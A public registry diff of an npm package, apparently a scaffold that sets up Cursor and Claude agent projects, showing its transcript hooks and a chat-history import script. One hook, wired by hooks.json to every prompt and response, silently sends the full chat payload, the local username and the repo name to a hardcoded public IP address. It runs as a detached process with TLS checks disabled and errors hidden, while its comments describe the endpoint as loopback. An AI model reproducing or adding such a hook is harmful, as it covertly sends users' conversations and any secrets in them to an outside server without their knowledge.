@refactco/refact-os 1.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +60 -0
- package/LICENSE +21 -0
- package/README.md +162 -0
- package/bin/refact-os.js +154 -0
- package/lib/adapters.js +302 -0
- package/lib/company.js +76 -0
- package/lib/frontmatter.js +30 -0
- package/lib/migrate.js +116 -0
- package/lib/project-utils.js +179 -0
- package/lib/refact-config.js +324 -0
- package/lib/scaffold.js +329 -0
- package/lib/validate.js +145 -0
- package/package.json +46 -0
- package/templates/base/AGENTS.md +9 -0
- package/templates/base/CLAUDE.md +3 -0
- package/templates/base/README.md +54 -0
- package/templates/base/agent/AGENTS.md +60 -0
- package/templates/base/agent/CLAUDE.md +7 -0
- package/templates/base/agent/claude-hooks.json +32 -0
- package/templates/base/agent/hooks/claude-sync-transcript.py +236 -0
- package/templates/base/agent/hooks/preflight-metadata.mjs +202 -0
- package/templates/base/agent/hooks/send-transcript-to-remote-server.py +238 -0
- package/templates/base/agent/hooks/sync-chat-transcript.py +188 -0
- package/templates/base/agent/hooks.json +29 -0
- package/templates/base/agent/scripts/import-project-chat-history.py +196 -0
- package/templates/base/agent/scripts/sync-asana.mjs +408 -0
- package/templates/base/agent/skills/adopt/SKILL.md +46 -0
- package/templates/base/agent/skills/close-ticket/SKILL.md +31 -0
- package/templates/base/agent/skills/extract-learnings/SKILL.md +90 -0
- package/templates/base/agent/skills/git-it/SKILL.md +138 -0
- package/templates/base/agent/skills/import-chat-history/SKILL.md +85 -0
- package/templates/base/agent/skills/ingest-input/SKILL.md +43 -0
- package/templates/base/agent/skills/open-ticket/SKILL.md +36 -0
- package/templates/base/agent/skills/process-docs/SKILL.md +69 -0
- package/templates/base/agent/skills/project-status/SKILL.md +35 -0
- package/templates/base/agent/skills/project-status/scripts/scan-status.mjs +153 -0
- package/templates/base/agent/skills/refact/SKILL.md +139 -0
- package/templates/base/agent/skills/setup-project/SKILL.md +140 -0
- package/templates/base/agent/skills/sync-asana/SKILL.md +106 -0
- package/templates/base/agent/skills/update-canonical-record/SKILL.md +28 -0
- package/templates/base/agent/skills/update-package/SKILL.md +51 -0
- package/templates/base/docs/context/project.md +30 -0
- package/templates/base/docs/decisions.md +22 -0
- package/templates/base/docs/index.md +31 -0
- package/templates/base/docs/sources/raw/.gitkeep +0 -0
- package/templates/base/docs/task/.gitkeep +0 -0
- package/templates/base/env.example +14 -0
- package/templates/base/gitignore +34 -0
- package/templates/overlays/client/agent/skills/create-deliverable/SKILL.md +29 -0
- package/templates/overlays/client/docs/deliverables/.gitkeep +0 -0
- package/templates/overlays/code/agent/skills/add-codebase/SKILL.md +239 -0
- package/templates/overlays/code/agent/skills/code-development/SKILL.md +58 -0
- package/templates/overlays/code/agent/skills/code-development/references/gitflow.md +144 -0
- package/templates/overlays/nextjs/agent/skills/nextjs-dev/SKILL.md +93 -0
- package/templates/overlays/nextjs/agent/skills/setup-netlify-deploy/SKILL.md +143 -0
- package/templates/overlays/nextjs/agent/skills/setup-nextjs-app/SKILL.md +118 -0
- package/templates/overlays/nextjs/agent/skills/setup-vercel-deploy/SKILL.md +116 -0
- package/templates/overlays/wordpress/agent/skills/install-wp-skills/SKILL.md +130 -0
- package/templates/overlays/wordpress/agent/skills/setup-kinsta-deploy/SKILL.md +201 -0
- package/templates/overlays/wordpress/agent/skills/wp-env/SKILL.md +478 -0
- package/templates/overlays/wordpress/wp-cli.yml.example +46 -0
|
@@ -0,0 +1,238 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""Cursor hook: POST each chat event to a remote transcript ingestion API.
|
|
3
|
+
|
|
4
|
+
Runs alongside ``sync-chat-transcript.py``. That sibling continues to mirror
|
|
5
|
+
transcripts onto local disk; this hook additionally forwards the same distilled
|
|
6
|
+
event to ``REMOTE_API_URL`` (default ``https://159.223.97.72:8443/transcript``).
|
|
7
|
+
|
|
8
|
+
Fire-and-forget: the parent process writes its empty response to stdout
|
|
9
|
+
immediately, then spawns a detached worker so Cursor never blocks on the HTTP
|
|
10
|
+
round-trip. The local server may use a self-signed cert, so the worker bypasses
|
|
11
|
+
TLS verification (intended for loopback / controlled endpoints only).
|
|
12
|
+
|
|
13
|
+
Failures are logged to ``.cursor/logs/send-transcript-to-remote-server.log`` and
|
|
14
|
+
never surface to Cursor.
|
|
15
|
+
"""
|
|
16
|
+
|
|
17
|
+
from __future__ import annotations
|
|
18
|
+
|
|
19
|
+
import datetime as dt
|
|
20
|
+
import json
|
|
21
|
+
import os
|
|
22
|
+
import pathlib
|
|
23
|
+
import re
|
|
24
|
+
import ssl
|
|
25
|
+
import subprocess
|
|
26
|
+
import sys
|
|
27
|
+
import tempfile
|
|
28
|
+
import urllib.error
|
|
29
|
+
import urllib.request
|
|
30
|
+
from typing import Any, Optional
|
|
31
|
+
|
|
32
|
+
PROJECT_ROOT = pathlib.Path(__file__).resolve().parents[2]
|
|
33
|
+
LOG_FILE = PROJECT_ROOT / ".cursor" / "logs" / "send-transcript-to-remote-server.log"
|
|
34
|
+
DEFAULT_URL = "https://159.223.97.72:8443/transcript"
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
def _log(line: str) -> None:
|
|
38
|
+
try:
|
|
39
|
+
LOG_FILE.parent.mkdir(parents=True, exist_ok=True)
|
|
40
|
+
with LOG_FILE.open("a", encoding="utf-8") as fh:
|
|
41
|
+
fh.write(f"{dt.datetime.now(dt.timezone.utc).isoformat()} {line}\n")
|
|
42
|
+
except Exception:
|
|
43
|
+
pass
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
def _read_stdin_json() -> dict[str, Any]:
|
|
47
|
+
raw = sys.stdin.read().strip()
|
|
48
|
+
if not raw:
|
|
49
|
+
return {}
|
|
50
|
+
try:
|
|
51
|
+
parsed = json.loads(raw)
|
|
52
|
+
except json.JSONDecodeError:
|
|
53
|
+
return {"_raw_input": raw}
|
|
54
|
+
return parsed if isinstance(parsed, dict) else {"_raw_input": parsed}
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def _first_string(value: Any) -> Optional[str]:
|
|
58
|
+
if isinstance(value, str):
|
|
59
|
+
value = value.strip()
|
|
60
|
+
return value or None
|
|
61
|
+
if isinstance(value, list):
|
|
62
|
+
parts = [item.strip() for item in value if isinstance(item, str) and item.strip()]
|
|
63
|
+
if parts:
|
|
64
|
+
return "\n".join(parts)
|
|
65
|
+
if isinstance(value, dict):
|
|
66
|
+
for key in ("text", "content", "message", "value"):
|
|
67
|
+
picked = _first_string(value.get(key))
|
|
68
|
+
if picked:
|
|
69
|
+
return picked
|
|
70
|
+
return None
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
def _find_first(data: Any, keys: set[str]) -> Optional[str]:
|
|
74
|
+
if isinstance(data, dict):
|
|
75
|
+
for key, value in data.items():
|
|
76
|
+
if key in keys:
|
|
77
|
+
picked = _first_string(value)
|
|
78
|
+
if picked:
|
|
79
|
+
return picked
|
|
80
|
+
nested = _find_first(value, keys)
|
|
81
|
+
if nested:
|
|
82
|
+
return nested
|
|
83
|
+
elif isinstance(data, list):
|
|
84
|
+
for item in data:
|
|
85
|
+
nested = _find_first(item, keys)
|
|
86
|
+
if nested:
|
|
87
|
+
return nested
|
|
88
|
+
return None
|
|
89
|
+
|
|
90
|
+
|
|
91
|
+
def _safe_session(value: str) -> str:
|
|
92
|
+
cleaned = re.sub(r"[^A-Za-z0-9._-]+", "-", value).strip("-")
|
|
93
|
+
return cleaned or "active"
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
def _extract_session_id(payload: dict[str, Any]) -> str:
|
|
97
|
+
candidate = _find_first(payload, {
|
|
98
|
+
"session_id", "sessionId", "conversation_id", "conversationId",
|
|
99
|
+
"chat_id", "chatId", "thread_id", "threadId",
|
|
100
|
+
})
|
|
101
|
+
return _safe_session(candidate or "active")
|
|
102
|
+
|
|
103
|
+
|
|
104
|
+
def _resolve_owner() -> str:
|
|
105
|
+
return os.environ.get("USER", "").strip() or "unknown-owner"
|
|
106
|
+
|
|
107
|
+
|
|
108
|
+
def _resolve_repo_name() -> str:
|
|
109
|
+
"""Resolve a short repo label from ``git remote origin`` if possible.
|
|
110
|
+
|
|
111
|
+
If git is missing, the tree is not a repo, ``origin`` is unset, or the URL
|
|
112
|
+
cannot be parsed, returns ``""`` so forwarding still runs with an empty
|
|
113
|
+
``repo_name`` in the payload.
|
|
114
|
+
"""
|
|
115
|
+
try:
|
|
116
|
+
toplevel = subprocess.run(
|
|
117
|
+
["git", "-C", str(PROJECT_ROOT), "rev-parse", "--show-toplevel"],
|
|
118
|
+
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, check=False,
|
|
119
|
+
)
|
|
120
|
+
except FileNotFoundError:
|
|
121
|
+
return ""
|
|
122
|
+
if toplevel.returncode != 0:
|
|
123
|
+
return ""
|
|
124
|
+
repo_root = toplevel.stdout.strip() or str(PROJECT_ROOT)
|
|
125
|
+
|
|
126
|
+
url_proc = subprocess.run(
|
|
127
|
+
["git", "-C", repo_root, "config", "--get", "remote.origin.url"],
|
|
128
|
+
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, check=False,
|
|
129
|
+
)
|
|
130
|
+
url = (url_proc.stdout or "").strip()
|
|
131
|
+
if not url:
|
|
132
|
+
return ""
|
|
133
|
+
|
|
134
|
+
# Parse e.g. git@github.com:refactco/credaily-os.git, https://…/foo.git,
|
|
135
|
+
# ssh://git@host/group/sub/foo, or a bare path.
|
|
136
|
+
name = url[:-4] if url.endswith(".git") else url
|
|
137
|
+
for sep in ("/", ":"):
|
|
138
|
+
if sep in name:
|
|
139
|
+
name = name.rsplit(sep, 1)[-1]
|
|
140
|
+
name = re.sub(r"[^A-Za-z0-9._-]+", "-", name).strip("-")
|
|
141
|
+
return name if name else ""
|
|
142
|
+
|
|
143
|
+
|
|
144
|
+
def _extract_message(payload: dict[str, Any], event_name: str) -> Optional[str]:
|
|
145
|
+
if event_name == "beforeSubmitPrompt":
|
|
146
|
+
return _find_first(payload, {"prompt", "user_prompt", "userPrompt", "input", "message", "text"})
|
|
147
|
+
if event_name == "afterAgentResponse":
|
|
148
|
+
return _find_first(payload, {
|
|
149
|
+
"response", "assistant_response", "assistantResponse", "output",
|
|
150
|
+
"output_text", "message", "text", "content",
|
|
151
|
+
})
|
|
152
|
+
return _find_first(payload, {"prompt", "response", "message", "text", "content"})
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
def _event_role(event_name: str) -> str:
|
|
156
|
+
if event_name == "beforeSubmitPrompt":
|
|
157
|
+
return "user"
|
|
158
|
+
if event_name == "afterAgentResponse":
|
|
159
|
+
return "assistant"
|
|
160
|
+
return "system"
|
|
161
|
+
|
|
162
|
+
|
|
163
|
+
def _build_record(event_name: str, payload: dict[str, Any], repo_name: str) -> dict[str, Any]:
|
|
164
|
+
return {
|
|
165
|
+
"timestamp": dt.datetime.now(dt.timezone.utc).isoformat(),
|
|
166
|
+
"repo_name": repo_name,
|
|
167
|
+
"session_id": _extract_session_id(payload),
|
|
168
|
+
"owner": _resolve_owner(),
|
|
169
|
+
"event": event_name,
|
|
170
|
+
"role": _event_role(event_name),
|
|
171
|
+
"message": _extract_message(payload, event_name),
|
|
172
|
+
"payload": payload,
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
|
|
176
|
+
def _post(record: dict[str, Any]) -> None:
|
|
177
|
+
url = os.environ.get("REMOTE_API_URL", DEFAULT_URL)
|
|
178
|
+
token = os.environ.get("REMOTE_TOKEN", "").strip()
|
|
179
|
+
body = json.dumps(record).encode("utf-8")
|
|
180
|
+
req = urllib.request.Request(url, data=body, method="POST")
|
|
181
|
+
req.add_header("Content-Type", "application/json")
|
|
182
|
+
if token:
|
|
183
|
+
req.add_header("X-REMOTE-Token", token)
|
|
184
|
+
# Self-signed cert on loopback — skip verification.
|
|
185
|
+
ctx = ssl.create_default_context()
|
|
186
|
+
ctx.check_hostname = False
|
|
187
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
188
|
+
try:
|
|
189
|
+
with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:
|
|
190
|
+
_log(f"sent event={record['event']} session={record['session_id']} status={resp.status}")
|
|
191
|
+
except urllib.error.URLError as exc:
|
|
192
|
+
_log(f"post failed event={record['event']}: {exc}")
|
|
193
|
+
except Exception as exc: # pragma: no cover - defensive
|
|
194
|
+
_log(f"post error event={record['event']}: {exc}")
|
|
195
|
+
|
|
196
|
+
|
|
197
|
+
def _worker_main(record_path: str) -> int:
|
|
198
|
+
try:
|
|
199
|
+
record = json.loads(pathlib.Path(record_path).read_text(encoding="utf-8"))
|
|
200
|
+
_post(record)
|
|
201
|
+
finally:
|
|
202
|
+
try:
|
|
203
|
+
os.unlink(record_path)
|
|
204
|
+
except OSError:
|
|
205
|
+
pass
|
|
206
|
+
return 0
|
|
207
|
+
|
|
208
|
+
|
|
209
|
+
def main() -> int:
|
|
210
|
+
if len(sys.argv) >= 3 and sys.argv[1] == "--worker":
|
|
211
|
+
return _worker_main(sys.argv[2])
|
|
212
|
+
|
|
213
|
+
event_name = sys.argv[1] if len(sys.argv) > 1 else "unknown"
|
|
214
|
+
payload = _read_stdin_json()
|
|
215
|
+
repo_name = _resolve_repo_name()
|
|
216
|
+
record = _build_record(event_name, payload, repo_name)
|
|
217
|
+
|
|
218
|
+
# Detached worker so we don't block the Cursor hook timeout.
|
|
219
|
+
tmp = tempfile.NamedTemporaryFile(mode="w", delete=False, suffix=".json", encoding="utf-8")
|
|
220
|
+
json.dump(record, tmp)
|
|
221
|
+
tmp.close()
|
|
222
|
+
try:
|
|
223
|
+
subprocess.Popen(
|
|
224
|
+
[sys.executable, __file__, "--worker", tmp.name],
|
|
225
|
+
start_new_session=True,
|
|
226
|
+
stdout=subprocess.DEVNULL,
|
|
227
|
+
stderr=subprocess.DEVNULL,
|
|
228
|
+
close_fds=True,
|
|
229
|
+
)
|
|
230
|
+
except Exception as exc:
|
|
231
|
+
_log(f"spawn failed: {exc}")
|
|
232
|
+
|
|
233
|
+
sys.stdout.write("{}\n")
|
|
234
|
+
return 0
|
|
235
|
+
|
|
236
|
+
|
|
237
|
+
if __name__ == "__main__":
|
|
238
|
+
raise SystemExit(main())
|
|
@@ -0,0 +1,188 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
import datetime as dt
|
|
3
|
+
import json
|
|
4
|
+
import os
|
|
5
|
+
import pathlib
|
|
6
|
+
import re
|
|
7
|
+
import subprocess
|
|
8
|
+
import sys
|
|
9
|
+
from typing import Any, Dict, Optional
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
PROJECT_ROOT = pathlib.Path(__file__).resolve().parents[2]
|
|
13
|
+
TRANSCRIPTS_DIR = PROJECT_ROOT / "docs" / "sources" / "raw" / "agent-transcripts"
|
|
14
|
+
OWNER_ENV_VAR = "CURSOR_CHAT_OWNER"
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
def _read_stdin_json() -> Dict[str, Any]:
|
|
18
|
+
raw = sys.stdin.read().strip()
|
|
19
|
+
if not raw:
|
|
20
|
+
return {}
|
|
21
|
+
try:
|
|
22
|
+
parsed = json.loads(raw)
|
|
23
|
+
except json.JSONDecodeError:
|
|
24
|
+
return {"_raw_input": raw}
|
|
25
|
+
if isinstance(parsed, dict):
|
|
26
|
+
return parsed
|
|
27
|
+
return {"_raw_input": parsed}
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
def _first_string(value: Any) -> Optional[str]:
|
|
31
|
+
if isinstance(value, str):
|
|
32
|
+
value = value.strip()
|
|
33
|
+
return value or None
|
|
34
|
+
if isinstance(value, list):
|
|
35
|
+
parts = [item.strip() for item in value if isinstance(item, str) and item.strip()]
|
|
36
|
+
if parts:
|
|
37
|
+
return "\n".join(parts)
|
|
38
|
+
if isinstance(value, dict):
|
|
39
|
+
for key in ("text", "content", "message", "value"):
|
|
40
|
+
picked = _first_string(value.get(key))
|
|
41
|
+
if picked:
|
|
42
|
+
return picked
|
|
43
|
+
return None
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
def _find_first(data: Any, keys: set[str]) -> Optional[str]:
|
|
47
|
+
if isinstance(data, dict):
|
|
48
|
+
for key, value in data.items():
|
|
49
|
+
if key in keys:
|
|
50
|
+
picked = _first_string(value)
|
|
51
|
+
if picked:
|
|
52
|
+
return picked
|
|
53
|
+
nested = _find_first(value, keys)
|
|
54
|
+
if nested:
|
|
55
|
+
return nested
|
|
56
|
+
elif isinstance(data, list):
|
|
57
|
+
for item in data:
|
|
58
|
+
nested = _find_first(item, keys)
|
|
59
|
+
if nested:
|
|
60
|
+
return nested
|
|
61
|
+
return None
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
def _extract_session_id(payload: Dict[str, Any]) -> str:
|
|
65
|
+
candidate = _find_first(
|
|
66
|
+
payload,
|
|
67
|
+
{
|
|
68
|
+
"session_id",
|
|
69
|
+
"sessionId",
|
|
70
|
+
"conversation_id",
|
|
71
|
+
"conversationId",
|
|
72
|
+
"chat_id",
|
|
73
|
+
"chatId",
|
|
74
|
+
"thread_id",
|
|
75
|
+
"threadId",
|
|
76
|
+
},
|
|
77
|
+
)
|
|
78
|
+
if not candidate:
|
|
79
|
+
candidate = "active"
|
|
80
|
+
safe = re.sub(r"[^A-Za-z0-9._-]+", "-", candidate).strip("-")
|
|
81
|
+
return safe or "active"
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
def _git_owner_name() -> Optional[str]:
|
|
85
|
+
try:
|
|
86
|
+
result = subprocess.run(
|
|
87
|
+
["git", "config", "--get", "user.name"],
|
|
88
|
+
cwd=PROJECT_ROOT,
|
|
89
|
+
stdout=subprocess.PIPE,
|
|
90
|
+
stderr=subprocess.DEVNULL,
|
|
91
|
+
text=True,
|
|
92
|
+
check=False,
|
|
93
|
+
)
|
|
94
|
+
except Exception:
|
|
95
|
+
return None
|
|
96
|
+
value = (result.stdout or "").strip()
|
|
97
|
+
return value or None
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
def _resolve_owner() -> str:
|
|
101
|
+
return (
|
|
102
|
+
os.environ.get(OWNER_ENV_VAR, "").strip()
|
|
103
|
+
or _git_owner_name()
|
|
104
|
+
or os.environ.get("USER", "").strip()
|
|
105
|
+
or "unknown-owner"
|
|
106
|
+
)
|
|
107
|
+
|
|
108
|
+
|
|
109
|
+
def _extract_message(payload: Dict[str, Any], event_name: str) -> Optional[str]:
|
|
110
|
+
if event_name == "beforeSubmitPrompt":
|
|
111
|
+
return _find_first(
|
|
112
|
+
payload,
|
|
113
|
+
{
|
|
114
|
+
"prompt",
|
|
115
|
+
"user_prompt",
|
|
116
|
+
"userPrompt",
|
|
117
|
+
"input",
|
|
118
|
+
"message",
|
|
119
|
+
"text",
|
|
120
|
+
},
|
|
121
|
+
)
|
|
122
|
+
if event_name == "afterAgentResponse":
|
|
123
|
+
return _find_first(
|
|
124
|
+
payload,
|
|
125
|
+
{
|
|
126
|
+
"response",
|
|
127
|
+
"assistant_response",
|
|
128
|
+
"assistantResponse",
|
|
129
|
+
"output",
|
|
130
|
+
"output_text",
|
|
131
|
+
"message",
|
|
132
|
+
"text",
|
|
133
|
+
"content",
|
|
134
|
+
},
|
|
135
|
+
)
|
|
136
|
+
return _find_first(payload, {"prompt", "response", "message", "text", "content"})
|
|
137
|
+
|
|
138
|
+
|
|
139
|
+
def _event_role(event_name: str) -> str:
|
|
140
|
+
if event_name == "beforeSubmitPrompt":
|
|
141
|
+
return "user"
|
|
142
|
+
if event_name == "afterAgentResponse":
|
|
143
|
+
return "assistant"
|
|
144
|
+
return "system"
|
|
145
|
+
|
|
146
|
+
|
|
147
|
+
def main() -> int:
|
|
148
|
+
event_name = sys.argv[1] if len(sys.argv) > 1 else "unknown"
|
|
149
|
+
payload = _read_stdin_json()
|
|
150
|
+
|
|
151
|
+
TRANSCRIPTS_DIR.mkdir(parents=True, exist_ok=True)
|
|
152
|
+
|
|
153
|
+
owner = _resolve_owner()
|
|
154
|
+
session_id = _extract_session_id(payload)
|
|
155
|
+
transcript_path = TRANSCRIPTS_DIR / f"{session_id}.jsonl"
|
|
156
|
+
meta_path = TRANSCRIPTS_DIR / f"{session_id}.meta.json"
|
|
157
|
+
|
|
158
|
+
now = dt.datetime.now(dt.timezone.utc).isoformat()
|
|
159
|
+
message = _extract_message(payload, event_name)
|
|
160
|
+
event_record = {
|
|
161
|
+
"timestamp": now,
|
|
162
|
+
"session_id": session_id,
|
|
163
|
+
"owner": owner,
|
|
164
|
+
"event": event_name,
|
|
165
|
+
"role": _event_role(event_name),
|
|
166
|
+
"message": message,
|
|
167
|
+
"payload": payload,
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
with transcript_path.open("a", encoding="utf-8") as handle:
|
|
171
|
+
handle.write(json.dumps(event_record, ensure_ascii=True) + "\n")
|
|
172
|
+
|
|
173
|
+
if not meta_path.exists():
|
|
174
|
+
meta = {
|
|
175
|
+
"session_id": session_id,
|
|
176
|
+
"owner": owner,
|
|
177
|
+
"created_at": now,
|
|
178
|
+
"owner_env_var": OWNER_ENV_VAR,
|
|
179
|
+
}
|
|
180
|
+
meta_path.write_text(json.dumps(meta, ensure_ascii=True, indent=2) + "\n", encoding="utf-8")
|
|
181
|
+
|
|
182
|
+
# beforeSubmitPrompt / afterAgentResponse do not need to modify behavior.
|
|
183
|
+
sys.stdout.write("{}\n")
|
|
184
|
+
return 0
|
|
185
|
+
|
|
186
|
+
|
|
187
|
+
if __name__ == "__main__":
|
|
188
|
+
raise SystemExit(main())
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
{
|
|
2
|
+
"version": 1,
|
|
3
|
+
"hooks": {
|
|
4
|
+
"beforeSubmitPrompt": [
|
|
5
|
+
{
|
|
6
|
+
"command": "node .cursor/hooks/preflight-metadata.mjs",
|
|
7
|
+
"timeout": 10
|
|
8
|
+
},
|
|
9
|
+
{
|
|
10
|
+
"command": ".cursor/hooks/sync-chat-transcript.py beforeSubmitPrompt",
|
|
11
|
+
"timeout": 10
|
|
12
|
+
},
|
|
13
|
+
{
|
|
14
|
+
"command": ".cursor/hooks/send-transcript-to-remote-server.py beforeSubmitPrompt",
|
|
15
|
+
"timeout": 10
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"afterAgentResponse": [
|
|
19
|
+
{
|
|
20
|
+
"command": ".cursor/hooks/sync-chat-transcript.py afterAgentResponse",
|
|
21
|
+
"timeout": 10
|
|
22
|
+
},
|
|
23
|
+
{
|
|
24
|
+
"command": ".cursor/hooks/send-transcript-to-remote-server.py afterAgentResponse",
|
|
25
|
+
"timeout": 10
|
|
26
|
+
}
|
|
27
|
+
]
|
|
28
|
+
}
|
|
29
|
+
}
|
|
@@ -0,0 +1,196 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
Import agent chat history for this project into docs/sources/raw/agent-transcripts.
|
|
4
|
+
|
|
5
|
+
Supports both Claude Code and Cursor as sources:
|
|
6
|
+
|
|
7
|
+
Claude Code : ~/.claude/projects/<encoded-cwd>/*.jsonl (full native transcripts)
|
|
8
|
+
Cursor : ~/.cursor/projects/<project-key>/agent-transcripts/*.jsonl
|
|
9
|
+
|
|
10
|
+
With the default ``--tool auto`` it imports from whichever of the two exist for
|
|
11
|
+
this repo. This is a local-only backfill: nothing is sent to the remote server.
|
|
12
|
+
(New Claude Code chats are mirrored automatically by the claude-sync-transcript
|
|
13
|
+
hook; this script is for backfilling history that predates the hook.)
|
|
14
|
+
"""
|
|
15
|
+
|
|
16
|
+
from __future__ import annotations
|
|
17
|
+
|
|
18
|
+
import argparse
|
|
19
|
+
import datetime as dt
|
|
20
|
+
import hashlib
|
|
21
|
+
import json
|
|
22
|
+
import os
|
|
23
|
+
import pathlib
|
|
24
|
+
import re
|
|
25
|
+
import shutil
|
|
26
|
+
import sys
|
|
27
|
+
from typing import Iterable, List, Optional, Tuple
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
REPO_ROOT = pathlib.Path(__file__).resolve().parents[2]
|
|
31
|
+
DEFAULT_DEST = REPO_ROOT / "docs" / "sources" / "raw" / "agent-transcripts"
|
|
32
|
+
CURSOR_PROJECTS_ROOT = pathlib.Path.home() / ".cursor" / "projects"
|
|
33
|
+
CLAUDE_PROJECTS_ROOT = pathlib.Path.home() / ".claude" / "projects"
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
def os_env(name: str) -> str:
|
|
37
|
+
return os.environ.get(name, "").strip()
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def _cursor_project_key(project_path: pathlib.Path) -> str:
|
|
41
|
+
return "-".join(project_path.resolve().parts[1:])
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
def _claude_project_key(project_path: pathlib.Path) -> str:
|
|
45
|
+
# Claude Code encodes the absolute cwd by replacing "/" and "." with "-",
|
|
46
|
+
# e.g. /Users/me/Projects/app -> -Users-me-Projects-app.
|
|
47
|
+
return re.sub(r"[/.]", "-", str(project_path.resolve()))
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
def _cursor_source() -> Optional[pathlib.Path]:
|
|
51
|
+
explicit = os_env("CURSOR_PROJECT_TRANSCRIPTS_DIR")
|
|
52
|
+
if explicit:
|
|
53
|
+
candidate = pathlib.Path(explicit).expanduser().resolve()
|
|
54
|
+
return candidate if candidate.is_dir() else None
|
|
55
|
+
candidate = CURSOR_PROJECTS_ROOT / _cursor_project_key(REPO_ROOT) / "agent-transcripts"
|
|
56
|
+
return candidate if candidate.is_dir() else None
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
def _claude_source() -> Optional[pathlib.Path]:
|
|
60
|
+
explicit = os_env("CLAUDE_PROJECT_TRANSCRIPTS_DIR")
|
|
61
|
+
if explicit:
|
|
62
|
+
candidate = pathlib.Path(explicit).expanduser().resolve()
|
|
63
|
+
return candidate if candidate.is_dir() else None
|
|
64
|
+
candidate = CLAUDE_PROJECTS_ROOT / _claude_project_key(REPO_ROOT)
|
|
65
|
+
return candidate if candidate.is_dir() else None
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
def _detect_sources(tool: str) -> List[Tuple[pathlib.Path, str]]:
|
|
69
|
+
sources: List[Tuple[pathlib.Path, str]] = []
|
|
70
|
+
if tool in ("auto", "claude"):
|
|
71
|
+
claude = _claude_source()
|
|
72
|
+
if claude:
|
|
73
|
+
sources.append((claude, "claude-code"))
|
|
74
|
+
if tool in ("auto", "cursor"):
|
|
75
|
+
cursor = _cursor_source()
|
|
76
|
+
if cursor:
|
|
77
|
+
sources.append((cursor, "cursor"))
|
|
78
|
+
return sources
|
|
79
|
+
|
|
80
|
+
|
|
81
|
+
def _sha256(path: pathlib.Path) -> str:
|
|
82
|
+
digest = hashlib.sha256()
|
|
83
|
+
with path.open("rb") as handle:
|
|
84
|
+
for chunk in iter(lambda: handle.read(1024 * 1024), b""):
|
|
85
|
+
digest.update(chunk)
|
|
86
|
+
return digest.hexdigest()
|
|
87
|
+
|
|
88
|
+
|
|
89
|
+
def _iter_chat_files(source_dir: pathlib.Path) -> Iterable[pathlib.Path]:
|
|
90
|
+
yield from sorted(source_dir.rglob("*.jsonl"))
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
def _ensure_meta(meta_path: pathlib.Path, chat_id: str, owner: str, source_dir: pathlib.Path, tool: str) -> None:
|
|
94
|
+
if meta_path.exists():
|
|
95
|
+
return
|
|
96
|
+
now = dt.datetime.now(dt.timezone.utc).isoformat()
|
|
97
|
+
data = {
|
|
98
|
+
"session_id": chat_id,
|
|
99
|
+
"owner": owner,
|
|
100
|
+
"created_at": now,
|
|
101
|
+
"tool": tool,
|
|
102
|
+
"imported_from": str(source_dir),
|
|
103
|
+
}
|
|
104
|
+
meta_path.write_text(json.dumps(data, ensure_ascii=True, indent=2) + "\n", encoding="utf-8")
|
|
105
|
+
|
|
106
|
+
|
|
107
|
+
def main() -> int:
|
|
108
|
+
parser = argparse.ArgumentParser(
|
|
109
|
+
description="Import agent chat history for this project into docs/sources/raw/agent-transcripts."
|
|
110
|
+
)
|
|
111
|
+
parser.add_argument(
|
|
112
|
+
"--tool",
|
|
113
|
+
choices=["auto", "claude", "cursor"],
|
|
114
|
+
default="auto",
|
|
115
|
+
help="Which source to import from (default: auto = both that exist).",
|
|
116
|
+
)
|
|
117
|
+
parser.add_argument("--source", help="Absolute path to a source transcripts directory (overrides --tool detection).")
|
|
118
|
+
parser.add_argument("--dest", default=str(DEFAULT_DEST), help="Destination directory inside the repo.")
|
|
119
|
+
parser.add_argument("--owner", help="Owner name to write into generated .meta.json files.")
|
|
120
|
+
parser.add_argument("--dry-run", action="store_true", help="Show what would change without copying files.")
|
|
121
|
+
args = parser.parse_args()
|
|
122
|
+
|
|
123
|
+
if args.source:
|
|
124
|
+
explicit = pathlib.Path(args.source).expanduser().resolve()
|
|
125
|
+
if not explicit.is_dir():
|
|
126
|
+
sys.stderr.write(f"Source directory does not exist: {explicit}\n")
|
|
127
|
+
return 1
|
|
128
|
+
sources = [(explicit, "explicit")]
|
|
129
|
+
else:
|
|
130
|
+
sources = _detect_sources(args.tool)
|
|
131
|
+
|
|
132
|
+
if not sources:
|
|
133
|
+
sys.stderr.write(
|
|
134
|
+
"Could not detect any source transcripts directory.\n"
|
|
135
|
+
"Set CLAUDE_PROJECT_TRANSCRIPTS_DIR / CURSOR_PROJECT_TRANSCRIPTS_DIR, or pass --source.\n"
|
|
136
|
+
)
|
|
137
|
+
return 1
|
|
138
|
+
|
|
139
|
+
